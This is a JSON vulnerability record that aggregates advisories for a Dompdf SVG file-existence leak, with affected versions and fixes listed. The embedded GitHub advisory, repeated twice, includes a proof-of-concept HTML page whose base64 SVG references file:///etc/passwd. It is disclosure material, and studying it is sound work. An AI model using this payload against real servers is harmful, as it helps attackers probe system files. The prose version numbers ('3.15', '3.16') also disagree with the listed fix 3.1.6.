{"id":"CVE-2026-59943","aliases":["CLSA-2026-1787223739","CLSA-2026-1787828763","DEBIAN-CVE-2026-59943","EUVD-2026-50027","GHSA-j8qw-6jw8-r297","UBUNTU-CVE-2026-59943"],"status":"published","title":"Dompdf: Embedded SVG images can leak existence of files and directories within the filesystem","description":"Dompdf is an HTML to PDF converter for PHP. In versions 3.15 and prior, if a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document. Using an \u003cimage\u003e element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the href or xlink:href attributes. When processing a file that does not exist (e.g. file:///DOESNOTEXIST), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem. This issue has been fixed in version 3.16.","severity":{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00423,"percentile":0.37106,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-209"],"published":"2026-07-22T22:52:44Z","modified":"2026-10-28T02:31:03Z","fixes":[{"ecosystem":"Packagist","package":"dompdf/dompdf","fixed_in":["3.1.6"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"dompdf/dompdf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.6"}]}]},{"source":"osv","ecosystem":"TuxCare:Packagist","package":"dompdf/dompdf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"v1.2.2"},{"fixed":"1.2.2-p2+tuxcare"}]}],"versions":["1.2.2-p1+tuxcare","v1.2.2"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:Packagist","package":"dompdf/dompdf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.8.6"},{"fixed":"0.8.6-p2+tuxcare"}]}],"versions":["0.8.6","0.8.6-p1+tuxcare"],"bundled":6},{"source":"osv","ecosystem":"Debian:12","package":"php-dompdf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.0.3+dfsg-1","2.0.3+dfsg-1+deb12u1","2.0.3+dfsg-2","2.0.3+dfsg-3","2.0.3+dfsg-4","2.0.4+dfsg-1","2.0.4+dfsg-2","2.0.7+dfsg-1","3.0.0+dfsg-1","3.0.0+dfsg-2","3.0.1+dfsg-1","3.0.2+dfsg-1","3.1.0+dfsg-1","3.1.4+dfsg-1","3.1.4+dfsg-2"]},{"source":"osv","ecosystem":"Packagist","package":"dompdf/dompdf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.6"}]}],"versions":["v0.6.0","v0.6.1","v0.6.2","v0.7.0","v0.7.0-beta","v0.7.0-beta2","v0.7.0-beta3","v0.8.0","v0.8.1","v0.8.2","v0.8.3","v0.8.4","v0.8.5","v0.8.6","v1.0.0","v1.0.1","v1.0.2","v1.1.0","v1.1.1","v1.2.0","v1.2.1","v1.2.2","v2.0.0","v2.0.1","v2.0.2","v2.0.3","v2.0.4","v2.0.5","v2.0.7","v2.0.8","v3.0.0","v3.0.1","v3.0.2","v3.1.0","v3.1.1","v3.1.2","v3.1.3","v3.1.4","v3.1.5"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"php-dompdf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.6.1+dfsg-2","0.6.1+dfsg-2build1","0.6.1+dfsg-2ubuntu1","0.6.1+dfsg-2ubuntu1+esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"php-dompdf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.6.2+dfsg-3","0.6.2+dfsg-3ubuntu0.18.04.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"php-dompdf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.6.2+dfsg-3","0.6.2+dfsg-3ubuntu0.20.04.1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"php-dompdf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.6.2+dfsg-3.1","0.6.2+dfsg-3.1ubuntu0.1"]}],"products":[{"vendor":"dompdf","product":"dompdf"},{"vendor":"dompdf_project","product":"dompdf"}],"references":[{"url":"https://github.com/dompdf/dompdf/security/advisories/GHSA-j8qw-6jw8-r297","tags":["x_refsource_CONFIRM","exploit","Exploit","Third Party Advisory","advisory","web","report"]},{"url":"https://github.com/dompdf/dompdf/commit/6a58996865db05d8fede748507e50ac4b8c5bfd0","tags":["x_refsource_MISC","Patch","fix","web","report"]},{"url":"https://github.com/dompdf/dompdf/releases/tag/v3.1.6","tags":["x_refsource_MISC","Release Notes","web","report"]},{"url":"https://github.com/advisories/GHSA-j8qw-6jw8-r297"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59943.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59943","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-59943","tags":["advisory"]},{"url":"https://github.com/dompdf/dompdf","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-59943","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-59943","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-59943","title":"Dompdf: Embedded SVG images can leak existence of files and directories within the filesystem","description":"Dompdf is an HTML to PDF converter for PHP. In versions 3.15 and prior, if a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document. Using an \u003cimage\u003e element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the href or xlink:href attributes. When processing a file that does not exist (e.g. file:///DOESNOTEXIST), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem. This issue has been fixed in version 3.16.","status":"published","published":"2026-07-28T20:19:22.746Z","modified":"2026-07-29T12:37:56.94Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-209"],"updated_at":"2026-11-02T14:19:58.560602Z"}],"euvd":[{"id":"EUVD-2026-50027","description":"Dompdf is an HTML to PDF converter for PHP. In versions 3.15 and prior, if a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document. Using an \u003cimage\u003e element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the href or xlink:href attributes. When processing a file that does not exist (e.g. file:///DOESNOTEXIST), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem. This issue has been fixed in version 3.16.","status":"published","published":"2026-07-28T20:19:22Z","modified":"2026-07-29T12:37:56Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T18:02:30.152277Z"}],"ghsa":[{"id":"GHSA-j8qw-6jw8-r297","title":"Dompdf: Embedded SVG images can leak existence of files and directories within the filesystem","description":"### Summary\nIf a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document.\n\n### Details\nUsing an `\u003cimage\u003e` element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the `href` or `xlink:href` attributes. When processing a file that does not exist (e.g. `file:///DOESNOTEXIST`), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem.\n\n```\n[Wed May 20 19:49:53 2026] PHP Warning:  file_get_contents(file:///DOESNOTEXIST): Failed to open stream: No such file or directory in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 173\n[Wed May 20 19:49:53 2026] PHP Notice:  getimagesize(): Error reading from /tmp/svgsk9247ela7tm3SiqGyP! in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 196\n```\n\n### PoC\n\nFirst, the attacker renders this HTML document:\n```\n\u003chtml\u003e\n\u003chead\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\u003cimg src=\"data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+Cjxzdmcgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEwMCAxMDAiCiAgICAgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICAgIDxpbWFnZSB4bGluazpocmVmPSJmaWxlOi8vL2V0Yy9wYXNzd2QiIHg9IjAiIHk9IjAiIHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIj4KICAgIDwvc3ZnPgo=\"\u003e\n Hello World!\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nThe `\u003cimg\u003e` tag contains the following SVG content:\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e\n\u003csvg width=\"100%\" height=\"100%\" viewBox=\"0 0 100 100\"\n     xmlns=\"http://www.w3.org/2000/svg\"\u003e\n    \u003cimage xlink:href=\"file:///etc/passwd\" x=\"0\" y=\"0\" width=\"100\" height=\"100\"\u003e\n    \u003c/svg\u003e\n```\n\nAs expected, the resulting PDF contains a broken image:\n\u003cimg width=\"621\" height=\"193\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b615fabe-c578-4435-bcb4-e9ad0ac796d2\" /\u003e\n\nHowever, when supplying a path to a file or directory that does not exist, for example:\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e\n\u003csvg width=\"100%\" height=\"100%\" viewBox=\"0 0 100 100\"\n     xmlns=\"http://www.w3.org/2000/svg\"\u003e\n    \u003cimage xlink:href=\"file:///DOESNOTEXIST\" x=\"0\" y=\"0\" width=\"100\" height=\"100\"\u003e\n    \u003c/svg\u003e\n```\n\nThe resulting PDF is rendered normally, with the image displayed as empty space (since the file did not exist). Additionally, for easier visual inspection, a rendering bug (https://github.com/dompdf/php-svg-lib/issues/142) is used to rotate the \"Hello World!\" text 180 degrees from the expected position:\n\n\u003cimg width=\"616\" height=\"922\" alt=\"image\" src=\"https://github.com/user-attachments/assets/32f83aa5-8115-4b0f-8ac2-f7b75e2eeaa9\" /\u003e\n\n### Impact\nBy exploiting this vulnerability, an attacker is able to confirm the existence of files and directories located on the backend filesystem.","status":"published","published":"2026-07-22T22:52:44Z","modified":"2026-07-22T22:52:44Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-209"],"updated_at":"2026-11-02T14:40:51.375752Z"}],"nvd":[{"id":"CVE-2026-59943","description":"Dompdf is an HTML to PDF converter for PHP. In versions 3.15 and prior, if a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document. Using an \u003cimage\u003e element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the href or xlink:href attributes. When processing a file that does not exist (e.g. file:///DOESNOTEXIST), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem. This issue has been fixed in version 3.16.","status":"published","published":"2026-07-28T21:17:29.28Z","modified":"2026-08-04T15:21:31.393Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-209"],"updated_at":"2026-11-02T14:12:33.629616Z"}],"osv":[{"id":"CVE-2026-59943","title":"Dompdf: Embedded SVG images can leak existence of files and directories within the filesystem","description":"Dompdf is an HTML to PDF converter for PHP. In versions 3.15 and prior, if a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document. Using an \u003cimage\u003e element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the href or xlink:href attributes. When processing a file that does not exist (e.g. file:///DOESNOTEXIST), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem. This issue has been fixed in version 3.16.","status":"published","published":"2026-07-28T20:19:22.746Z","modified":"2026-10-28T02:31:03.730719315Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-209"],"updated_at":"2026-11-02T15:45:12.496548Z"},{"id":"DEBIAN-CVE-2026-59943","description":"Dompdf is an HTML to PDF converter for PHP. In versions 3.15 and prior, if a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document. Using an \u003cimage\u003e element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the href or xlink:href attributes. When processing a file that does not exist (e.g. file:///DOESNOTEXIST), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem. This issue has been fixed in version 3.16.","status":"published","published":"2026-07-28T21:17:29.28Z","modified":"2026-10-01T03:03:28.51299308Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:57.932517Z"},{"id":"GHSA-j8qw-6jw8-r297","title":"Dompdf: Embedded SVG images can leak existence of files and directories within the filesystem","description":"### Summary\nIf a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document.\n\n### Details\nUsing an `\u003cimage\u003e` element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the `href` or `xlink:href` attributes. When processing a file that does not exist (e.g. `file:///DOESNOTEXIST`), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem.\n\n```\n[Wed May 20 19:49:53 2026] PHP Warning:  file_get_contents(file:///DOESNOTEXIST): Failed to open stream: No such file or directory in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 173\n[Wed May 20 19:49:53 2026] PHP Notice:  getimagesize(): Error reading from /tmp/svgsk9247ela7tm3SiqGyP! in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 196\n```\n\n### PoC\n\nFirst, the attacker renders this HTML document:\n```\n\u003chtml\u003e\n\u003chead\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\u003cimg src=\"data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+Cjxzdmcgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEwMCAxMDAiCiAgICAgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICAgIDxpbWFnZSB4bGluazpocmVmPSJmaWxlOi8vL2V0Yy9wYXNzd2QiIHg9IjAiIHk9IjAiIHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIj4KICAgIDwvc3ZnPgo=\"\u003e\n Hello World!\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nThe `\u003cimg\u003e` tag contains the following SVG content:\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e\n\u003csvg width=\"100%\" height=\"100%\" viewBox=\"0 0 100 100\"\n     xmlns=\"http://www.w3.org/2000/svg\"\u003e\n    \u003cimage xlink:href=\"file:///etc/passwd\" x=\"0\" y=\"0\" width=\"100\" height=\"100\"\u003e\n    \u003c/svg\u003e\n```\n\nAs expected, the resulting PDF contains a broken image:\n\u003cimg width=\"621\" height=\"193\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b615fabe-c578-4435-bcb4-e9ad0ac796d2\" /\u003e\n\nHowever, when supplying a path to a file or directory that does not exist, for example:\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e\n\u003csvg width=\"100%\" height=\"100%\" viewBox=\"0 0 100 100\"\n     xmlns=\"http://www.w3.org/2000/svg\"\u003e\n    \u003cimage xlink:href=\"file:///DOESNOTEXIST\" x=\"0\" y=\"0\" width=\"100\" height=\"100\"\u003e\n    \u003c/svg\u003e\n```\n\nThe resulting PDF is rendered normally, with the image displayed as empty space (since the file did not exist). Additionally, for easier visual inspection, a rendering bug (https://github.com/dompdf/php-svg-lib/issues/142) is used to rotate the \"Hello World!\" text 180 degrees from the expected position:\n\n\u003cimg width=\"616\" height=\"922\" alt=\"image\" src=\"https://github.com/user-attachments/assets/32f83aa5-8115-4b0f-8ac2-f7b75e2eeaa9\" /\u003e\n\n### Impact\nBy exploiting this vulnerability, an attacker is able to confirm the existence of files and directories located on the backend filesystem.","status":"published","published":"2026-07-22T22:52:44Z","modified":"2026-07-22T23:11:43.780143Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-209"],"updated_at":"2026-11-02T15:46:50.336262Z"},{"id":"UBUNTU-CVE-2026-59943","description":"Dompdf is an HTML to PDF converter for PHP. In versions 3.15 and prior, if a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document. Using an \u003cimage\u003e element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the href or xlink:href attributes. When processing a file that does not exist (e.g. file:///DOESNOTEXIST), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem. This issue has been fixed in version 3.16.","status":"published","published":"2026-07-28T21:17:00Z","modified":"2026-08-06T03:10:22.668140194Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"},{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T16:56:41.911783Z"},{"id":"CLSA-2026-1787223739","title":"TuxCare security update for dompdf/dompdf (6 CVEs)","description":"TuxCare rebuilt dompdf/dompdf to address 6 CVEs. Fixed in 1.2.2-p2+tuxcare.","status":"published","published":"2026-08-20T11:02:19Z","modified":"2026-10-15T09:47:59.780850196Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787828763","title":"TuxCare security update for dompdf/dompdf (6 CVEs)","description":"TuxCare rebuilt dompdf/dompdf to address 6 CVEs. Fixed in 0.8.6-p2+tuxcare.","status":"published","published":"2026-08-27T11:06:03Z","modified":"2026-10-15T09:48:00.438367298Z","updated_at":"2026-11-02T15:43:47.591214Z"}]}}